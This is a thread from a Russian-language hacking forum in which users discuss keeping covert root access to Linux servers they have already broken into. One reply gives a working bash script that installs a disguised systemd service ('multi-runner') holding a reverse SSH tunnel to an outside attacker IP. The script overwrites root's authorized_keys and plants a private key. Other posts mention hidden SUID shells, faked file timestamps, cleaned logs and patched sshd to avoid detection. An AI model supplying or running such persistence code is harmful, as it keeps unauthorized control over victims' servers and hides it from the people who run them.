• XSS.stack #1 – первый литературный журнал от юзеров форума

Как закрепиться в Linux системе максимально просто и беспалевно?

zdestuta

(L1) cache
Пользователь
Регистрация
04.06.2024
Сообщения
749
Реакции
373
Всем привет.
Итак, например, пройдено: вебшелл, затем privesc, и вот ты id=0 то есть root и даже SUID'ный шелл куда-то заныкал и touch -t ему сделал будто "да оно так и было!" :)

А как закрепиться в системе так, чтобы не проходить весь этот мучительный путь с запуском reverse shell через webshell (с чисткой логов разумеется) и потом SUID'ный свой заныканый шелл для становления рутом?
Ну то есть в идеале: какая-то незаметная командочка (вот через что лучше?) летит на сервак и он сразу рутовый реверс шелл делает туда где в команде прописано. Свой С2 чтобы сервак сам бэкконнектился исходящим к нему не считаю надёжным вариком, они через несколько месяцев бывает отваливаются по разным причинам.

P.S. всякие "фантастические" (читай геморные) варики с созданием руткита уровня ядра который ловит например специально скрафченый ICMP и по команде из него сразу рутовый reverse shell делает просьба не предлагать, не тот уровень таргетов чтобы так заморачиваться :)
 
Использую обратный SSH-туннель
Обычно клиент подключается к серверу
Здесь наоборот: машина инициирует подключение к внешнему серверу и создает туннель "наружу"
Внешний сервер получает возможность подключаться обратно к локальной машине через этот туннель
ssh -NT -R 2222:localhost:22 user@28.110.215.162
и заворачиваю в systemd юнит
 
Использую обратный SSH-туннель
Обычно клиент подключается к серверу
Здесь наоборот: машина инициирует подключение к внешнему серверу и создает туннель "наружу"
Внешний сервер получает возможность подключаться обратно к локальной машине через этот туннель
ssh -NT -R 2222:localhost:22 user@28.110.215.162
и заворачиваю в systemd юнит
о! идея супер годная!
а что триггерит такой туннель на запуск? или он постоянно/регулярно долбится и нужно свой C2 сервер содержать? он "прошитый" долбится на C2 или адрес C2 можно менять как-то тихо беспалевно извне (чтобы доступ persistence не "соскочил") ?
а как не палится аж целый systemd юнит дополнительный?

p.s. IP 28.110... не пали, бро ;-)
 
а что триггерит такой туннель на запуск?
systemd держит тунель открытым

Для удобства скрипт делал
Код:
#!/bin/bash

mkdir -p ~/.ssh
chmod 700 ~/.ssh
ssh-keyscan -H 28.110.215.162 >> ~/.ssh/known_hosts
chmod 600 ~/.ssh/known_hosts

cat > /lib/systemd/system/multi-runner.service << 'EOF'
[Unit]
Description=Multi runner service
After=network.target
[Service]
ExecStart=/usr/bin/ssh -NT -o ServerAliveInterval=60 -o ExitOnForwardFailure=yes -R 2222:localhost:22 user@28.110.215.162 -i /root/.ssh/id_rsa
RestartSec=5
Restart=always
[Install]
WantedBy=multi-user.target
EOF

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABA..........LAlJNKpRM= root@host" > ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

cat > ~/.ssh/id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
-----END OPENSSH PRIVATE KEY-----
EOF
chmod 600 ~/.ssh/id_rsa

systemctl daemon-reload
systemctl start multi-runner.service
systemctl status multi-runner.service
Приватный ключ на тазике лучше положить в другое место вместо /root/.ssh/id_rsa

p.s IP - example
 
Последнее редактирование:
/lib/systemd/system/multi-runner.service
и появление такого ебобо не замечает одмин там? однако...
 
раньше ссш патчили
идея с патченым sshd уже интереснее...
но это проживёт до первого apt get upgrade кмк :)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх